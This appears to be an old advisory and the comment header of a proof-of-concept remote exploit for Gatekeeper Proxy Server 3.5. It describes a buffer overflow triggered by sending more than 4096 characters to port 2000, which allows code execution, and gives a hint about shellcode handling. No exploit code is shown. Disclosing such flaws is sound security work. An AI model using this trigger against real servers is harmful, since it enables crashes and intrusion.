Infopulse GateKeeper proxy server will crash if a string containing over 4096 characters is entered through port 2000. Arbitrary code execution is possible. Restarting the server is required in order to regain normal functionality.

 * <wizdumb@leet.org || www.mdma.za.net || wizdumb@IRC>
 *
 * Remote exploit for Gatekeeper Proxy Server 3.5 (and prior versions?).
 * Written as proof of concept code only - the MDMA crew do not condone
 * illegal activities in any way what-so-ever.
 *
 * This code is now public - Gatekeeper version 3.6 is out. :-)
 *
 * Shellcode is handled plug and play style for flexibility and defence
 * against script kiddies. :) Oh, and coz I'm too dumb to make some and too
 * lazy to find some. :P Also note that nulls in your shellcode are fine for
 * this daemon - just beware of terminating newlines.
 *
 * Greetz to everyone in MDMA, USSRLabs, b10z, and BlabberNet's #hack
